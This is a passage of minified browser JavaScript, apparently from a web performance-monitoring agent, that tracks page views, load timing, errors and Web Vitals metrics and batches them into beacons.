l=La,r=Tc("rtu"),G=La({},a);G.name=Ga(a.name,r,!0);a.group&&(G.group=Ga(a.group,r,!0));ae=a=f(l({},G),{timestamp:kc(),id:++xm,kind:1,trigger:Hf,hydrated:!1});0<Bl&&lj.push(a);pc((b={},b.kind="VIEW_CHANGE",b.detail=yf(d,ae),b));Qc()}function Qa(a){var b=History.prototype[a];b&&(History.prototype[a]=function(){for(var d=[],f=0;f<arguments.length;f++)d[f]=arguments[f];try{return b.apply(this,d)}finally{var l,r;pc((l={},l.kind="HISTORY_API_EVENT",l.detail=(r={},r.t=a,r.p=d,r),l))}})}function hb(a,b,d, f){if(!b){b=ae;d=b.timestamp;var l=b.group,r=b.trigger;a.av(f,"tvn",encodeURIComponent(b.name));a.av(f,"tvt",String(d));a.av(f,"tvm",encodeURIComponent(ce(b)));a.av(f,"tvtrg",String(r));l&&a.av(f,"tvg",encodeURIComponent(l))}}function Gb(){Jg||(Jg=document.createElement("doc:rdy"));if(Jg.doScroll){var a=function(){try{Jg.doScroll("left"),Jg=void 0,Rf=kc(),M()}catch(b){Zc(a,0)}};a()}else document.addEventListener("DOMContentLoaded",function(){Rf=kc();M()},!1)}function Jb(){return pj}function Rb(){var a= h,b=Hb(mb.performance);if(!b)return Math.round(a);var d=Ka(b)?6E4>=b.domContentLoadedEventStart:6E4>=Math.abs(b.domLoading-a);if(!Z(C())&&!d)return a;d=ef();var f=b.redirectStart,l=b.fetchStart;b=(Ka(b)?0:d)+6E4;b=f?b>f?d:f:l?b>l?d:l:d;isFinite(b)&&(a=b);return Math.round(a)}function Xb(){var a=ib(mb.performance,!0)||ef();return Math.round(a)}function Dc(a,b){var d;Ri--;if(Sf&&b){var f=(Sf.get(b)||1)-1;if(f)Sf.set(b,f);else Sf["delete"](b)}if(!Ri&&rh)try{pc((d={},d.kind="LOAD_END",d.detail=void 0, d))}catch(l){}0>=Ri&&(rh&&(b=rh.id,a=a?Math.max(Xb(),a):Xb(),d=aa(mb.performance,"loadEventStart",!0)||ef(),d=d<Mb?0:Math.round(d),a&&d&&a>=d?(f=kc()-a,5E3<Math.abs(f)&&(a+=f),uc(b,a,d)):uc(b),rh=null),mk||xe());b=ic();b!==C()&&b.sole()}function Jc(a){if(Sf&&Sf.has(a))try{a.parent&&Zc(function(){Jc(a)},100)}catch(b){Dc(void 0,a)}}function td(a){Ri++;if(Sf&&a){var b=Sf.get(a)||0;Sf.set(a,b+1)}p.edge&&a&&Zc(function(){Jc(a)},100)}function xe(a,b){var d=$b(Kb);if(d){var f=0;mb.performance&&!a&&(f=b|| Xb());f||(f=kc());uc(d.id,f);pj=d.stop;M()}}function pe(){xe(1)}function Dd(){mk=!0}function Od(){var a=$b(Kb);a&&!rh&&(rh=ec({name:"_onload_",type:"_load_",start:kc(),pa:a.id}))}function wg(){if(!nk||0<Ri)nk=!0,M(),Dc()}function Uh(){M();if(!Ij){var a=ic();a!==C()&&a.iolm(mb);Od();Ij=!0;rb("PAGE_LEAVING",function d(){rh&&a!==C()&&a.sole(void 0,mb);wb("PAGE_LEAVING",d)});Zc(wg,0)}}function Vh(){"loaded"===document.readyState&&M();"complete"===document.readyState&&Uh()}function Zg(){M();Ij||("complete"=== document.readyState?ym?me(!1,!0):(ym=!0,Zc(Zg,3E3)):Zc(Zg,3E3))}function $g(){Si(!1);if(oh.length)for(var a=rn&&!hc("dsndb"),b=kc()-1E3,d=0,f=oh;d<f.length;d++){var l=f[d];try{l.time>=b&&(a?we(l.path,l.data):fd(hd({path:l.path,Ka:l.data}),!1))}catch(r){}}if(!Dl)try{yd(),El(),Gg.dT_.clB(),Sf=void 0,Dl=!0,rh=null}catch(r){}ok||(ok=!0,ye())}function sh(){Si(!0);ok||(ok=!0,ye())}function th(){var a,b=!1;try{return(a=Pb())&&a.target&&!Jj&&(b=Kj(a.target))&&(Jj=!0,Zc(function(){Jj=!1},1)),b}catch(d){return b}} function Kj(a){var b;if(b=a){if(b=a.href)a:{b=a.href.replace(" ","").toLowerCase();var d=["mailto:"];if(11>p.ie)d.push("javascript:");else if(-1===yc("javascript:",b)){b=!1;break a}b:{for(var f=0;f<d.length;f++)if(-1<yc(b,d[f])){d=!0;break b}d=!1}d?b=!0:(b=b.split("://"),b=!("http"===b[0]||"https"===b[0]||"file"===b[0]))}b=b||Kj(a.parentNode)}return b||!1}function Lj(){th()||Si(!1,!0)}function zm(){Rk=se=!1;pk(!1);me(!1,!0,!0);kb=!1}function Ti(){if(p.sf&&mb.frames)for(var a=0;a<mb.frames.length;a++)try{var b= mb.frames[a];b.dT_&&b.dT_.obc()}catch(d){}}function Si(a,b){var d;if(!se||kb){var f=kc();a||(se=!0,Zc(function(){Zc(zm,2E3)},1));pc((d={},d.kind="PAGE_LEAVING",d.detail=se,d));Sk&&Rk||cd(b,Nd,f);a=vg.qd(!1,!0,!0);Ti();a.beacon&&(me(!1,!0,!0,!1,a),Rk=!0);kb=!1}}function Tk(){return 0>=Ri}function ui(a,b){if(de||isNaN(a)||100>a||1E3<a)return!1;Kg={responseCode:a,message:b+""};return!0}function vi(){return Sk}function pk(a,b){Sk=a;ti(Wm);b&&(Wm=Zc(function(){Sk=!1},2E3))}function ah(){function a(b){Kb=== b.detail.i&&wb("ACTION_CLOSED",a)}mb.doNotCreateLoadAction||(Kb=ec({name:"_load_",type:"_load_",start:Mb}).id,M(),Vh());rb("ACTION_CLOSED",a)}function Uk(a,b,d,f){var l;void 0===d&&(d=!1);var r=(l={},l.msg="",l.file="",l.line=-1,l.column=-1,l.error=a,l.stackContainsWrapper=d,l);"number"===typeof b&&(r.parentActionId=b);f&&(r.source=f);qj(r)}function gf(a,b,d,f){a[b]&&Wh(d,""+a[b],f)}function Vk(){var a=p,b=a.ie,d=dm.documentMode;if(b){a=(a.trident||0)+4;if(b!==a)return a+"_as_"+b;if(d&&d!==b)return a+ "_as_"+d}return""}function qj(a){var b,d=a.error,f=a.msg;if(!(!f&&!d||wi+1>Tc("mepp"))){wi++;"string"===typeof d?f=a.msg||d:d=d||mb.event||{message:"",name:""};var l=La(La({},a),(b={},b.msg=f,b.error=d,b)),r;b=Pb();var G;b&&(G={name:b.Ob(),type:b.type});d=l.error;"string"===typeof d&&(d={});f=d.columnNumber||0;var ea=l.msg,ya=l.file,ob=l.column,zb=l.line,pb=l.source;b=(r={},r.message=d.message||d.name||d.yi||d.description||ea||d.errorMessage||d.Th||d.data||d.Yh||"Indeterminable error name",r.file= d.fileName||d.filename||d.sourceURL||d.ai||d.file||ya||"",r.line=d.lineNumber||d.lineno||d.line||d.fi||zb||-1,r.column=(d.columnNumber?f+1:void 0)||d.ci||d.colno||d.column||ob||-1,r.stack=Xh(d)||Uc(),r.userInput=G,r.code=d.Ai||d.code||d.errorCode||d.status,r.timestamp=kc()-h,r.emulationMode=Vk(),r.debugInfo="",r.type=d.name||"Error",r.source=pb||"1",r);"Indeterminable error name"===b.message&&(r=Gh("msg",l.msg),r+=Gh("file",l.file),r+=Gh("line",l.line),r+=Gh("column",l.column),r+=Gh("error",l.error), b.debugInfo=r);b.stack&&l.stackContainsWrapper&&(b.stack="<wrapper>"+b.stack);if(b.stack){if(1200<b.stack.length){l="";r=0;for(G=b.stack.split(/(\r\n|\n|\r)/gm);r<G.length&&!(d=G[r].trim(),f=d.length,0<f&&(l=250<f?l+(d.substring(0,150)+"[...]"+d.substring(f-100)+"\n"):l+(d+"\n")),1200<l.length);r++);b.stack=l}b.stack=b.stack.replace(RegExp("\\|","g"),"^p").replace(/(\r\n|\n|\r)/gm,"|")}500<b.message.length&&(b.message=b.message.substring(0,500));l=b.file;r=b.stack;G=Xc("csu");l&&r&&-1===yc(r,G)&& -1!==yc(l,G)&&(b.incompleteStack=1200<r.length?"stringLength":"numLines");5011!==b.code&&(l=a.parentActionId,a=kc(),a=Ta({type:"_error_",name:Cb(b.message),start:a,Za:!0}),l=qc(a,l),a&&(gf(b,"type","_type_",a),b.file&&(r=b.file,0<=b.line&&(r+="|"+b.line),0<=b.column&&(r+="|"+b.column),Wh("_location_",r,a)),(r=b.incompleteStack)&&Wh("_istack_",r,a),gf(b,"stack","_stack_",a),gf(b,"code","_code_",a),gf(b,"timestamp","_ts_",a),gf(b,"emulationMode","_emu_",a),gf(b,"debugInfo","_debug_",a),b.userInput&& Wh("_useraction_",b.userInput.type+"|"+b.userInput.name,a),gf(b,"source","_source_",a),l&&Vc()))}}function Uc(){try{throw Error("");}catch(l){var a=Xh(l);if(a&&4<a.split(/\r\n|\r|\n/).length)return"<generated>\n"+a}if(9>p.ie){a=[];var b=0;try{for(var d=arguments.callee.caller.caller;d&&10>a.length;){var f=Xm.exec(d.toString());a.push(f?f[1]||"[a]":"[a]");d=d.caller;b++}}catch(l){}if(3<b)return"<generated-ie>\n"+a.join("\n")}return""}function Xh(a){return a?a.stack||a.Xh||a.Ii||a.error&&a.error.stack|| "":""}function Wh(a,b,d){var f=kc();a=Ta({type:a,name:Cb(b),start:f,Za:!0});qc(a,d.id,!0)}function Gh(a,b){a=a+"|"+(typeof b+"|");if(null===b)a+="null|";else if("object"===typeof b)for(var d in b){if(Ra(b,d)&&"stack"!==d&&"error"!==d){var f=d;a+=d+"|";var l=typeof b[f];a+=l+"|";"object"!==l&&"function"!==l&&(a+=b[f]+"|")}}else a+=b+"|";return a}function Jf(a,b,d){var f=kc();a=Cb(a);b=Ta({type:b,name:a,start:f,stop:f,Za:!0,domNodes:-1});d=qc(b,d);ja(nj);d&&Vc();return d}function Mj(){Z(C())||(Jf("visit end", "_endVisit_",-1)?Am(!1,"a"):kd())}function Fl(a,b){wi>Tc("mepp")||(wi++,Jf(a,"_error_",b))}function qk(a,b){Jf(a,"_warning_",b)}function Kf(a,b){Jf(a,"_log_",b)}function bh(a,b){var d=kc();a=Ta({type:"_rv_",name:Wa(a+"="+b),start:d,Za:!0});qc(a);Vc()}function nd(a,b,d){var f=kc();a=Ta({type:"_rs_",name:Wa(a+"="+b),start:f,Za:!0});qc(a,d);Vc()}function De(a,b){switch(a){case "_uaps_":if("string"!==typeof b){a="value [".concat(b,"] is not a valid short string, because it is of type ").concat(typeof b, ".");break}else a="value is not of type 'string'. Make sure to pass in a string.";(b=b.length)||(a="value is not a valid short string because it is empty.");var d=Tc("mpl");b>d&&(a="value is ".concat(b," characters long, which is longer than the maximum of ").concat(d," characters"));break;case "_uapl_":a="value [".concat(b,"] is not a valid java long.");break;case "_uapdt_":a="value [".concat(b,"] is not a valid date.");break;case "_uapdbl_":a="value [".concat(b,"] is not a valid java double."); break;default:a="value [".concat(b,"] is not of a supported type. Has type of ").concat(typeof b,".")}return a}function rj(a,b){return{failedProperties:a.Ec(),sentProperties:a.Ed(),info:"Number of total failed properties: ".concat(b)}}function Ui(a){return!("number"!==typeof a||isNaN(a)||0!==a%1||0x7fffffffffffffff<a||-0x7fffffffffffffff>a)}function Lg(a){return!("number"!==typeof a||isNaN(a)||1.7976931348623157E308<a||-1.7976931348623157E308>a)}function Mg(a){return"string"===typeof a&&0!==gc(a).length&& a.length<=Tc("mpl")}function Vi(a){return!!a&&"[object Date]"===Object.prototype.toString.call(a)}function Yh(a,b,d,f,l){b&&"object"===typeof b&&Hh({data:b,type:"_uapl_"},Ui,a);d&&"object"===typeof d&&Hh({data:d,type:"_uapdt_"},Vi,a);f&&"object"===typeof f&&Hh({data:f,type:"_uaps_"},Mg,a);l&&"object"===typeof l&&Hh({data:l,type:"_uapdbl_"},Lg,a)}function Hh(a,b,d){var f=a.data,l=Oc(),r;for(r in f)if(Ra(f,r)){var G=l,ea=f[r];null!==ea&&"object"===typeof ea&&Ra(ea,"value")&&(G=G&&!ea["public"],ea=ea.value); b(ea)?(G?ea="dT_pv":"_uapdt_"===a.type&&Vi(ea)&&(ea=ea.getTime()),d.Od(a.type,r,ea)):d.Dd(a.type,r,ea)}}function xi(a){a=a?oc(a):[];if(0===a.length)return!1;for(var b=0;b<a.length;b++)if(0>mf(un,a[b]))return!1;return!0}function uh(a,b,d,f,l){a=new Qn(a);xi(b)?Yh(a,b.Xf,b.Bf,b.xg,b.Wf):Yh(a,b,d,f,l);return a.Lf()}function tc(a){vh[a]?vh[a]++:vh[a]=1}function Ih(){hc("ds")&&(vh={},Qe(function(a,b,d,f){if(hc("ds")){d="";for(l in vh)Ra(vh,l)&&(d+="".concat(d?"|":"").concat(l,"-").concat(vh[l]));var l= d;!b&&de&&l&&(a.av(f,"ds",l,!1),vh={})}}))}function hf(a,b,d){(a=id.Of(a))&&Ob(d,b+"="+a)}function Zh(a,b,d,f){rd&&(b=rd.Nf(),d=[],hf(rd.Gd,"spL",d),hf(rd.Bd,"spD",d),hf(rd.Nd,"spSS",d),hf(rd.Fd,"spDb",d),b&&a.av(f,"fsp",encodeURIComponent(b.join(",")),!0),d.length&&a.av(f,"sp",encodeURIComponent(d.join(";")),!0),rd=null)}function Wk(a,b,d,f){rd=xi(a)?new id(a.Xf,a.Bf,a.xg,a.Wf):new id(a,b,d,f);a=rj(rd,id.qb);b=rd.Ec();if(b.length&&Qh())for(d=0;d<b.length;d++)f=b[d],he="Property key ["+f.key+"] was not accepted because: "+ f.reason,mb.console.log(he);(rd.Qf()||b.length)&&Vc();return a}function Gl(){return he?{severity:"Info",text:he+"(Note: only last errorMessage gets reported!)",type:"wsp"}:null}function Nj(a,b){if(Hf!==b)return-2;if(3===b&&!de){var d;Pe(ae,a);Pe(oj,a);a=yf(null===(d=Sh)||void 0===d?void 0:d.na,ae);Ya(a);return 2}d=ae;if(1===a.id&&1===d.id&&1===Xg.length)return Pe(Xg[0].newView,a),Pe(ae,a),Pe(oj,a),2;if(d.name===a.name)return-1;xa(a);return 1}function wh(a){var b=Number(a);return a&&!isNaN(b)&&11359836E5< b&&41338908E5>b?b:kc()}function Fc(a){return"function"===typeof a}function Oj(a,b){for(var d in b)if(b[d]===a)return!0;return!1}function vc(a,b){return typeof a===b}function Me(a,b){return vc(a,b)||"undefined"===typeof a||null===a}function fg(a){var b;null===(b=mb.console)||void 0===b?void 0:b.log(a)}function Tf(a,b,d){fg("".concat(a,' "').concat(b,'" is deprecated! ').concat(d))}function Rc(){fg("Wrong argument types in method. Please check the documentation to fix that")}function wc(){fg("Too many arguments. Please check the documentation to fix that")} function Xk(){return vg.zc()}function rk(a,b,d,f,l){void 0===b&&(b=!1);void 0===d&&(d=!1);void 0===f&&(f=!1);ch(a,(null===l||void 0===l?void 0:l.contentType)||"");return me(!1,!0,b,d,{referrer:O(),beacon:a},f,l)}function Wi(a){Bm.push(a)}function ch(a,b){Ac(Bm,function(d){d(a,b)})}function $h(a,b){sk&&(sk&&!Yk&&(Pj.observe(document,sj),Yk=!0),gg[a]||(gg[a]=[],tk=Object.keys(gg),em[a]=b))}function Zk(a){sk&&(gg[a]&&(delete gg[a],delete em[a],Cm[a]=uk),tk=Object.keys(gg),0===tk.length&&Pj&&Yk&&(Pj.disconnect(), Yk=!1))}function xg(a,b){if(!$k)return null;Xi[a]||(Xi[a]=new $k(b));return Xi[a]}function Qj(a){sk&&Xi[a]&&(Xi[a].disconnect(),delete Xi[a])}function al(a){return gg[a]?gg[a]:[]}function Jh(a,b){gg[a]=b}function Ng(a){return a&&Cm[a]||uk}function yi(){sj={childList:!0,subtree:!0};$k&&(Pj=new $k(function(a){for(var b=kc(),d=[],f=0;f<a.length;f++){var l=a[f];"childList"===l.type&&d.push.apply(d,l.addedNodes)}if(d.length)for(uk=b,a={time:b,nodes:d},b=0,d=tk;b<d.length;b++)f=d[b],l=em[f],"function"=== typeof l&&l(f,a),gg[f].push(a)}))}function Rj(a,b){var d=Nd;return d&&d.ib<Tc("tal")&&d.Ca+a<=Tc("tt")?(d=ne(!1),a={name:b?"".concat("setImmediate(...)"):"".concat("setTimeout(..., ").concat(a,")"),type:"_t_",start:kc(),Rd:a,pa:d||!0},ec(a).id):0}function Sj(a){if(a=$b(a))a.Wb(),Zc(function(){Cg();of(ed(),!0)},0)}function Og(a){var b=$b(a);b&&(b.af(),Dj++,Ob(nh,a),of(b))}function Pg(a){var b=$b(a);b&&(Dj--,Zc(function(){ze(a);b.Qe();of(ed(),!0)},0))}function fm(a,b){return Fd(970,a||"XHR Error",b)} function Hl(a){return Fd(971,"XHR Canceled",a)}function Il(a){return Fd(972,"XHR Timeout",a)}function bl(a,b){return Fd(973,a||"Parser Error",b)}function tj(a,b){return Fd(974,a||"Setup Error",b)}function Tj(a,b){return Fd(979,a?a:"Unknown Error",b)}function zi(a,b){var d=0===a.time?0:b-a.time;a.total+=d;a.time=b;return a.Hd=d}function vk(a,b){void 0===b&&(b=kc());var d=cl[a];void 0===d&&(d=cl[a]={time:b,total:0,Hd:0});return zi(d,b)}function dl(a,b){void 0===b&&(b=kc());a=cl[a];if(void 0===a)return 0; zi(a,b);a.time=0;return a.Hd}function gm(a){a=cl[a];return void 0===a?0:a.total}function el(a,b,d){if(!a||!b)return-1;if(a.findIndex)return a.findIndex(b,d);for(var f=0;f<a.length;f++)if(b.call(d,a[f],f,a))return f;return-1}function wk(a,b){if(ta(Array.prototype.map))return Array.prototype.map.call(a,b);for(var d=[],f=0;f<a.length;f++)Ob(d,b(a[f],f,a));return d}function uj(a){a=a&&a.length;return"number"===typeof a&&-1<a}function pg(a,b,d){return"function"===typeof b?(b=void 0===d?b:Ma(b,d),wk(a, b)):a}function Kh(a,b,d){function f(){}if("function"===typeof Array.from)return b?Array.from(a,b,d):Array.from(a);if(Array.isArray(a))return pg(a,b,d);if(uj(a))return pg([].slice.call(a),b,d);var l=mb.Map||f,r=mb.Symbol||f,G=[];ta(mb.Set||f)&&Ue(a,19)&&a.forEach(function(ea){G.push(ea)});ta(l)&&Ue(a,20)&&a.forEach(function(ea,ya){G.push([ya,ea])});if(ta(r)&&mb.Symbol&&"function"===typeof a[Symbol.iterator]&&0===G.length)for(a=a[Symbol.iterator](),l=a.next();!l.done;)G.push(l.value),l=a.next();return pg(G, b,d)}function ai(a,b,d){if("function"===typeof a.some)return a.some(b,d);a=Object(a);for(var f=a.length>>>0,l=0;l<f;l++)if(l in a&&b.call(d,a[l],l,a))return!0;return!1}function fl(a){var b=a.getAttribute("class"),d=100-a.tagName.length;if(!b)return"";b=b.trim().replace(/ +/g,".");if(b.length<=d)return b;a=ad(b.split("."),function(f){return f.length<d});for(b=a.join(".");b.length>d&&a.length;)a.pop(),b=a.join(".");return b}function qg(a,b){if(a.id&&100>=a.id.length)return b.unshift("#".concat(a.id)), !0;var d=a.nodeName.toLowerCase();b.unshift(d);var f=fl(a);if(f&&(d+=".".concat(f),b[0]=d,vj(b)))return!0;f=a;for(var l=1;f;)f=f.previousElementSibling,(null===f||void 0===f?void 0:f.nodeName)===a.nodeName&&l++;d+=":nth-of-type(".concat(l,")");b[0]=d;if(vj(b))return!0;f=a.previousElementSibling;for(l=1;f;)f=f.previousElementSibling,++l;d=d.replace(/:nth-of-type\(\d+\)/,1<l?":nth-child(".concat(l,")"):":first-child");b[0]=d;return vj(b)}function vj(a){return 1===document.querySelectorAll(a.join(">")|| "").length}function Uj(a){if(!a||!Ue(a,8)||!document.querySelectorAll)return"";try{for(var b=a,d=[];b&&100>=d.join(">").length&&!qg(b,d);)b=b.parentElement;var f=d.join(">");if(100<f.length){var l=a.getAttribute("class"),r=a.tagName.toLowerCase();if(l)var G="..."+Ga("".concat(r,".").concat(l),100-r.length-3,!1,"");else{var ea=a.id;G=ea?"..."+Ga("#".concat(ea),97,!1,""):""}var ya=G||Ga(f,100,!0)}else ya=f;return ya}catch(ob){}return""}function Ai(a,b){try{if(3!==Hf&&("__vue__"===b||"__vue_app__"=== b)&&hc("usrvd")&&2!==Hf){var d,f,l,r;var G=(null===(l=null===(f=null===(d=a.__vue_app__)||void 0===d?void 0:d.config)||void 0===f?void 0:f.globalProperties)||void 0===l?void 0:l.$router)||(null===(r=a.__vue__)||void 0===r?void 0:r.$router);if(G){var ea="function"===typeof G.afterEach;var ya=G.currentRoute&&ea?!0:!1}else ya=!1;if(ya){var ob,zb;if(ob=(null===(zb=G.matcher)||void 0===zb?void 0:zb.match)||G.resolve){var pb,Tb,Hc,zc=null!==(Hc=null!==(pb=G.options.base)&&void 0!==pb?pb:null===(Tb=G.options.history)|| void 0===Tb?void 0:Tb.base)&&void 0!==Hc?Hc:"",Ad=G.options.mode;zc||"hash"!==Ad||(zc="#");var Zd=zc;a=Xg;for(b=0;b<a.length;b++){var Pc=a[b];Pc.oldView&&Pe(Pc.oldView,rg(Pc.oldView,ob,Zd));Pe(Pc.newView,rg(Pc.newView,ob,Zd))}Pc=ae;a=oj;Pe(Pc,rg(Pc,ob,Zd));Pe(a,rg(a,ob,Zd))}G.afterEach(gl);B(2)}}}catch(Ke){B(1)}}function gl(a){2===Hf&&Nj(xk(a),2)}function xk(a){var b=a.matched;a=a.path;return b.length?{group:b[b.length-1].path,name:a}:{name:a}}function rg(a,b,d){var f=yc(a.name,d),l=a.name;l===d? l="/":-1!==f&&(l=l.substring(f+d.length));a=La(La({},a),{name:l});return La(La({},a),xk(b(a.name)))}function Af(a){void 0===Jl&&(Jl=Tc("prfSmpl")>Math.floor(1E4*Math.random()));Jl&&(0>hm&&(hm=Tc("msl"),Gg.dT_.si(function(){xh()},3E4),If(mb,"beforeunload",function(){xh(!0)})),Ym.push(a))}function yk(a){var b="";Ac(a.d,function(d){b+="".concat(d[0]).concat("=").concat(d[1]).concat("|")});return"".concat(a.i).concat("|").concat(a.t).concat("|").concat(b.slice(0,-1))}function dh(a,b){var d="";Ac(oc(b[1]), function(f){d+="".concat(f).concat("=").concat(b[1][f]).concat("|")});return"".concat(a).concat("|").concat(b[0]).concat("|").concat(d.slice(0,-1))}function xh(a){void 0===a&&(a=!1);Ac(Ym.splice(0),function(b){if(0===b.t){var d=!1;for(var f=b.d,l=f.length;!d&&l;)d=0===f[--l][1]}else d=!1;d||(b.a?Kl(b):hl.push(yk(b)))});Bf(a)}function Kl(a){var b=a.i,d=Yi[b];d?(d[0]+=a.t,Ac(a.d,function(f){d[1][f[0]]=void 0!==d[1][f[0]]?d[1][f[0]]+f[1]:f[1]})):(Yi[b]=[a.t,{}],Ac(a.d,function(f){Yi[b][1][f[0]]=f[1]}))} function Bf(a){void 0===a&&(a=!1);Ac(oc(Yi),function(d){hl.push(dh(d,Yi[d]))});var b="";Ac(hl,function(d,f,l){if(b.length+1+d.length>=hm){bi(b,a);b="";if(f===l.length-1)return bi("".concat(il).concat(d),a);b="".concat(il).concat(d)}else b?b=b+","+d:b="".concat(il).concat(d);b.length&&f===l.length-1&&bi(b,a)});hl=[];Yi={}}function bi(a,b){var d;void 0===b&&(b=!1);var f=Xk();vg.ar(f,a);rk(f,b,!1,!1,(d={},d.contentType="perf",d))}function Vj(a){if(Object.values)return Object.values(a);var b=[];if(a=== Object(a))for(var d in a)Ra(a,d)&&b.push(a[d]);return b}function ci(){di=Qg.connection;hc("eni")&&di&&Qe(function(a,b,d,f){!b&&de&&di&&(b="".concat(di.effectiveType||"-","|").concat(di.downlink||-1),di.type&&(b="".concat(b,"|").concat(di.type)),a.av(f,"ni",b,!1))})}function sg(a){return"longtask"===(null===a||void 0===a?void 0:a.entryType)&&50<a.duration}function Bi(a){Gg.dT_.apush(zk,{startTime:a.startTime,duration:a.duration})}function wj(){try{Wj=new PerformanceObserver(function(a){Ac(ad(a.getEntries(), sg),Bi)}),Wj.observe({type:"longtask",buffered:!0})}catch(a){}}function Zi(){ei=yg=0;zg=fi=-5E3;jl=[];if(hc("cls")&&jf.cls)try{(new PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b];if("layout-shift"===(null===d||void 0===d?void 0:d.entryType)&&!d.hadRecentInput){var f=d.startTime;if(0===gi){if(5E3<f-fi||1E3<f-zg)fi=f,ei=0;zg=f;ei+=d.value;yg=Math.max(yg,ei)}else 1===gi&&jl.push({startTime:f,xf:d.value})}}})).observe({type:"layout-shift",buffered:!0})}catch(a){}} function Ak(){eh=new mb.PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b],f=d.name;d=Math.round(d.startTime);"first-paint"===f&&(kl=d);"first-contentful-paint"===f&&(Bk=d)}});try{eh.observe({type:"paint",buffered:!0})}catch(a){eh.observe({entryTypes:["paint"]})}}function Xj(){im=new mb.PerformanceObserver(function(a){a=a.getEntries();a=a[a.length-1];if(a.size>Yj)switch(Yj=a.size,gi){case 0:Zm=$i(a);break;case 1:ll.push($i(a));break;case 2:pj-Mb>a.startTime&&(Yj= a.size,a=$i(a),ag("_wv_",[["AAI",String(Kb)],["lcpE",a.Bc||"-"],["lcpSel",a.Nc||"-"],["lcpS",String(a.size)],["lcpT",String(a.Aa)],["lcpU",a.url||"-"],["lcpLT",String(a.loadTime)]],!1,void 0,1))}});try{im.observe({type:"largest-contentful-paint",buffered:!0})}catch(a){im.observe({entryTypes:["largest-contentful-paint"]})}}function $i(a){var b,d=a.startTime;d&&(d=Sa(d));return{Aa:Math.round(d),loadTime:Math.round(a.loadTime),size:a.size,Nc:Uj(a.element)||"-",Bc:(null===(b=a.element)||void 0===b?void 0: b.tagName)||"-",url:a.url||"-"}}function hi(a){var b=0;for(a=a.getEntries();b<a.length;b++){var d=a[b];"first-input"===d.entryType&&d.processingStart&&d.startTime&&(Lh=Math.round(d.startTime),Ci=Math.round(d.processingStart-d.startTime))}Zj()}function Zj(){2===gi&&kc()<pj+2E4&&ag("_wv_",[["AAI",String(Kb)],["fIS",String(Lh)],["fID",String(Ci)]],!1,void 0,1)}function ml(){var a,b=null===(a=mb.PerformanceObserver)||void 0===a?void 0:a.supportedEntryTypes;return!!b&&-1!==mf(b,"first-input")}function Ck(){if(ml())try{(new PerformanceObserver(hi)).observe({type:"first-input", buffered:!0})}catch(a){}else rb("GLOBAL_EVENT_FIRED",function d(b){var f=b.detail;b=f.e.timeStamp;if(Lh||-1===mf($m,f.t)||!b)b=!1;else{f=ef();var l=1E12<b;l&&b<f?b=!1:(Lh=Math.round(l?b-f:b),Ci=Math.max(0,Math.round(Dm()-Lh)),Zj(),b=!0)}b&&wb("GLOBAL_EVENT_FIRED",d)})}function ii(a){a.detail.i===Kb&&(wb("ACTION_CLOSED",ii),gi=1)}function yh(a){var b=a.detail,d=b.a;a=b.s;if(b.i===Kb){wb("ACTION_BEFORE_SEND",yh);gi=2;b=[];d=a-d;if(hc("pt")){if(jf.lcpT){var f=Zm;for(var l=ll.length-1;0<=l;l--)if(ll[l].Aa< d){f=ll[l];break}f&&0!==f.Aa?f.Aa>d?f={Aa:-6}:Yj=f.size||0:f={Aa:-5};f.Bc&&f.Nc&&f.url?b.push(["lcpE",f.Bc],["lcpSel",f.Nc],["lcpS",String(f.size)],["lcpT",String(f.Aa)],["lcpU",f.url],["lcpLT",String(f.loadTime)]):b.push(["lcpT",String(f.Aa)])}else b.push(["lcpT","-3"]);jf.fcp?b.push(["fcp",String(Bk?Bk>d?-6:Sa(Bk):-5)]):b.push(["fcp","-3"]);jf.fp?b.push(["fp",String(kl?kl>d?-6:Sa(kl):-5)]):b.push(["fp","-3"])}if(hc("cls"))if(jf.cls){f=b.push;l=0;for(var r=jl;l<r.length;l++){var G=r[l],ea=G.startTime; if(ea<d){if(5E3<ea-fi||1E3<ea-zg)fi=ea,ei=0;zg=ea;ei+=G.xf;yg=Math.max(yg,ei)}}jl=[];f.call(b,["cls",String(+yg.toFixed(4))])}else b.push(["cls","-3"]);if(hc("lt"))if(jf.lt){f=b.push;l=String;r=0;G=ef();ea=0;for(var ya=zk;ea<ya.length;ea++){var ob=ya[ea],zb=r+ob.duration>d;G+ob.startTime+ob.duration<=a&&!zb&&(r+=ob.duration)}null===Wj||void 0===Wj?void 0:Wj.disconnect();f.call(b,["lt",l(Math.round(r))])}else b.push(["lt","-3"]);0===Lh&&0===Ci||b.push(["fIS",String(Lh)],["fID",String(Ci)]);0<b.length&& ag("_wv_",b,Kb,Mb,1)}}function jm(){try{var a=mb.dT_;if(!a||!(void 0===mb.dialogArguments?navigator.cookieEnabled||Ja():Ja()))return!1;var b=mb.dT_;b.initialized=!1;b.pageId="";b.pageTitle="";b.frameCount=0;b.bwsW=0;b.bwsH=0;b.syn=!1;b.googleBot=!1;b.tp=Pd;b.tdto=ic;b.gicv=L;b.aFU=jd;b.gPId=Lc;b.iRO=bc;b.gBI=H;b.iMD=ia;b.cfg=N;b.acfgP=ha;b.smbi=ve;b.ism=vd;b.iMod=u;b.gMu=E;b.tau=R;b.icr=oa;b.lv=Za;b.sv=vb;b.svl=Oa;b.gh=Ha;b.cvs=Xf;b.aesc=I;b.puesc=ka;b.rsc=Cb;b.tpesc=$a;b.ulc=Qb;b.afpl=Zb;b.apl=q; b.rpl=D;b.dbg=t;b.dbc=y;b.dlf=Y;b.rxapply=Eb;b.loc=O;b.sch=fj;b.gPO=Nb;b.gCPO=ac;b.gNTO=qa;b.vAT=Sa;b.cVIn=mc;b.sNT=Oc;b.gPAH=zd;b.id=Db;b.ss=Cf;b.ssP=Wk;b.asl=nf;b.sMPS=Bg;b.gBP=tf;b.cB=Xk;b.sB=rk;b.gid=Wc;b.ea=ud;b.la=We;b.lx=Ed;b.ex=bf;b.ec=mg;b.lc=kh;b.eV=Mj;b.pe=Fl;b.pw=qk;b.pl=Kf;b.rv=bh;b.rs=nd;b.pcn=Jf;b.ca=jb;b.can=Gi;b.isci=ig;b.noa=Te;b.ti=M;b.las=Va;b.gca=lb;b.gAR=Rd;b.gAA=Bd;b.sxbe=Gf;b.aWF=$e.dtAWF;b.mx=lh;b.mxf=Fd;b.mxg=fm;b.mxc=Hl;b.mxt=Il;b.mxp=bl;b.mxs=tj;b.mxu=Tj;b.gITAID=ke;b.re= 